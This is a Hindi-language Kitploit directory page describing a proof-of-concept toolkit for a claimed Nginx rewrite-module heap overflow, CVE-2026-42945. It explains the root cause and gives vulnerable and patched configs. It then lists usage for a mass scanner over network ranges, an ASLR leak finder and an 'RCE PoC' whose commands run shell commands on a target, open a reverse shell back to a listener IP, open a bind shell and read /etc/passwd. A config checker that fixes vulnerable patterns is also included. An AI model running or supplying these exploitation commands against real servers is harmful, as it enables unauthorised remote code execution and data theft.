Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-42945 — CVE-2026-42945 Nginx Rift | Kitploit
उपकरण/GitHubGitHub/liaoziqi-gzfls/cve-2026-42945
टोहीभेद्यता विश्लेषणशोषणजानकारी एकत्र करनावेब सुरक्षाफज़िंगपेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंटबाइनरी शोषण
GitHubliaoziqi-gzfls/cve-2026-42945

CVE-2026-42945

CVE-2026-42945 Nginx Rift

1424 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें

CVE-2026-42945 Nginx Rift - PoC टूलकिट

CVE-2026-42945 (Nginx Rift) के लिए एक व्यापक प्रूफ-ऑफ-कॉन्सेप्ट टूलकिट, जो Nginx के ngx_http_rewrite_module में एक गंभीर हीप बफर ओवरफ्लो भेद्यता है।


भेद्यता सारांश

फ़ील्डविवरण
CVE IDCVE-2026-42945
नामNginx Rift
प्रकारहीप बफर ओवरफ्लो
घटकngx_http_rewrite_module
गंभीरतागंभीर (CVSS 9.2)
प्रभावितNginx 0.6.27 - 1.30.0
पैच किया गयाNginx 1.30.1 / 1.31.0

मूल कारण

रीराइट नियमों को प्रोसेस करते समय दो आंतरिक पासों के बीच आकार की गलत गणना के कारण यह भेद्यता मौजूद है। यदि कॉन्फ़िगरेशन में निम्नलिखित का उपयोग किया जाता है:

  • अनाम रेगेक्स कैप्चर ($1, $2, आदि)
  • प्रतिस्थापन स्ट्रिंग में ? के साथ संयुक्त

Nginx पहले पास के दौरान आवश्यक बफर आकार की गलत गणना करता है और दूसरे पास के दौरान आवंटित हीप बफर से परे लिखता है।

उदाहरण भेद्य कॉन्फ़िगरेशन

server {
    # भेद्य: अनाम कैप्चर ($1) + प्रतिस्थापन में '?'
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

सुरक्षित कॉन्फ़िगरेशन (पैच किया गया)

server {
    # सुरक्षित: नामित कैप्चर (?P<path>) $1 को बदलता है
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

टूलकिट घटक

1. nginx_rift_poc.py - कोर PoC टूल

एकल-लक्ष्य भेद्यता स्कैनर और शोषण उपकरण।

विशेषताएँ:

  • Server हेडर से Nginx संस्करण का पता लगाएं
  • जांचें कि संस्करण भेद्य सीमा में है या नहीं
  • हीप ओवरफ्लो ट्रिगर करने के लिए तैयार HTTP पेलोड भेजें
  • भेद्य/सुरक्षित परीक्षण कॉन्फ़िगरेशन उत्पन्न करें

उपयोग:

# संस्करण का पता लगाएं और भेद्यता का परीक्षण करें
python nginx_rift_poc.py -t target.example.com

# कस्टम पेलोड के साथ परीक्षण
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# HTTPS लक्ष्य
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# भेद्य परीक्षण कॉन्फ़िगरेशन उत्पन्न करें
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# सुरक्षित (पैच किया गया) कॉन्फ़िगरेशन उत्पन्न करें
python nginx_rift_poc.py --gen-safe-config > safe.conf

2. nginx_rift_scanner.py - सामूहिक स्कैनर

एक साथ कई लक्ष्यों के परीक्षण के लिए बैच स्कैनर।

विशेषताएँ:

  • मल्टी-थ्रेडेड स्कैनिंग (डिफ़ॉल्ट 50 थ्रेड)
  • फ़ाइल या CIDR नेटवर्क रेंज से लक्ष्य सूची
  • एकीकरण के लिए JSON आउटपुट
  • पोर्ट 443 के लिए स्वचालित SSL पहचान

उपयोग:

# लक्ष्य फ़ाइल से स्कैन करें (प्रारूप: प्रति पंक्ति host:port)
python nginx_rift_scanner.py -f targets.txt -o results.json

# एकल लक्ष्य स्कैन करें
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# नेटवर्क रेंज स्कैन करें
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# हाई-स्पीड स्कैन
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

लक्ष्य फ़ाइल प्रारूप:

# टिप्पणियाँ # से शुरू होती हैं
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

3. config_checker.py - कॉन्फ़िगरेशन विश्लेषक

भेद्य रीराइट पैटर्न के लिए स्थानीय Nginx कॉन्फ़िगरेशन फ़ाइलों को स्कैन करें।

विशेषताएँ:

  • nginx.conf पार्स करें और include निर्देशों का अनुसरण करें
  • प्रतिस्थापन स्ट्रिंग्स में ? के साथ अनाम कैप्चर का पता लगाएं
  • ऑटो-फिक्स समर्थन (बैकअप के साथ)
  • रिकर्सिव डायरेक्टरी स्कैनिंग

उपयोग:

# एकल फ़ाइल स्कैन करें
python config_checker.py /etc/nginx/nginx.conf

# डायरेक्टरी को पुनरावर्ती रूप से स्कैन करें
python config_checker.py -d /etc/nginx/conf.d/

# भेद्य पैटर्न को ऑटो-फिक्स करें (.bak बैकअप बनाता है)
python config_checker.py --fix /etc/nginx/nginx.conf

# सामान्य Nginx पथों का स्वचालित पता लगाएं
python config_checker.py

4. enhanced_poc.py - उन्नत RCE PoC

depthfirst के आधिकारिक शोध पर आधारित उन्नत शोषण उपकरण, जो एकाधिक रीराइट पैटर्न और शोषण मोड का समर्थन करता है।

विशेषताएँ:

  • 8 सामान्य भेद्य रीराइट पैटर्न (/api/, /redirect/, /user/, आदि) का स्वचालित पता लगाएं
  • एकाधिक ओवरफ्लो ट्रिगर वर्ण (+, &, =, %) के लिए समर्थन
  • नियंत्रित ओवरफ्लो आकार के साथ स्मार्ट पेलोड जनरेशन
  • एकाधिक शोषण मोड: cmd / shell / bind / read
  • ASLR-बंद वातावरण के लिए कस्टम हीप/libc बेस पते
  • फेक ngx_pool_cleanup_s के साथ डायनामिक स्प्रे बॉडी निर्माण

उपयोग:

# पैटर्न और संस्करण का स्वचालित पता लगाएं
python enhanced_poc.py -t target.example.com --detect

# कमांड निष्पादित करें (ASLR बंद)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# रिवर्स शेल
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# बाइंड शेल
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# रिमोट फ़ाइल पढ़ें
python enhanced_poc.py -t target.example.com --read /etc/passwd

# कस्टम हीप बेस (ASLR-बंद लक्ष्यों के लिए)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# ओवरफ्लो ट्रिगर के रूप में & का उपयोग करें
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

शोषण मोड विवरण:

मोडविवरणआउटपुट
cmdएकल शेल कमांड निष्पादित करेंलक्ष्य पर कमांड आउटपुट
shellरिवर्स शेल उत्पन्न करें--listen-ip:listen-port पर वापस कनेक्ट होता है
bindलक्ष्य पर बाइंड शेल उत्पन्न करेंलक्ष्य पर --listen-port पर सुनें
readलक्ष्य से फ़ाइल पढ़ेंसामग्री /tmp/nginx_rift_read में लिखी गई

पता कॉन्फ़िगरेशन (केवल ASLR-बंद):

  • --heap-base: लक्ष्य हीप बेस (जैसे, 0x555555559000)
  • --libc-base: libc बेस पता (जैसे, 0x7ffff77ba000)
  • --system-addr: प्रत्यक्ष system() पता (libc-base को ओवरराइड करता है)

5. aslr_leak_detector.py - ASLR लीक डिटेक्टर

ASLR सुरक्षा को बायपास करने वाली सूचना लीक का पता लगाने के लिए व्यापक स्कैनर।

विशेषताएँ:

  • HTTP हेडर लीक डिटेक्शन (Server, X-Powered-By, आदि)
  • मेमोरी पतों और स्टैक ट्रेस के लिए त्रुटि पृष्ठ विश्लेषण
  • Nginx-विशिष्ट एंडपॉइंट प्रोबिंग (/nginx_status, /actuator/*, आदि)
  • मेमोरी पता लीक डिटेक्शन (64-बिट पॉइंटर्स, हीप/libc/स्टैक पते)
  • टाइमिंग विश्लेषण के माध्यम से हीप लेआउट प्रोबिंग
  • ASLR स्थिति अनुमान (सक्षम/अक्षम/कमजोर)
  • JSON रिपोर्ट के माध्यम से enhanced_poc.py के साथ सीधा एकीकरण

उपयोग:

# एकल लक्ष्य स्कैन करें
python aslr_leak_detector.py -t target.example.com

# SSL के साथ स्कैन करें
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# फ़ाइल से स्कैन करें, रिपोर्ट सहेजें
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# नेटवर्क रेंज स्कैन करें
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# त्वरित स्कैन मोड
python aslr_leak_detector.py -t target.example.com --quick

उन्नत PoC के साथ एकीकरण:

# चरण 1: लीक का पता लगाएं
python aslr_leak_detector.py -t target.example.com -o leak.json

# चरण 2: शोषण के लिए लीक किए गए पतों का उपयोग करें
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

भेद्यता पहचान संकेतक

PoC उपकरण इन संकेतकों के माध्यम से भेद्यता की पहचान करता है:

संकेतकविवरण
कनेक्शन ड्रॉप किया गयालक्ष्य अप्रत्याशित रूप से कनेक्शन बंद करता है (वर्कर क्रैश)
गेटवे त्रुटियाँHTTP 502/503/504 प्रतिक्रियाएँ (वर्कर प्रक्रिया मृत)
धीमी प्रतिक्रियाएँप्रतिक्रिया समय में महत्वपूर्ण वृद्धि (क्रैश रिकवरी)
खाली प्रतिक्रियाएँबेसलाइन की तुलना में प्रतिक्रिया बॉडी गायब हो जाती है
संस्करण मिलानपता लगाया गया Nginx संस्करण भेद्य सीमा में है

स्थापना

कोई बाहरी निर्भरता आवश्यक नहीं है। केवल Python मानक पुस्तकालय का उपयोग करता है।

टूल डाउनलोड करें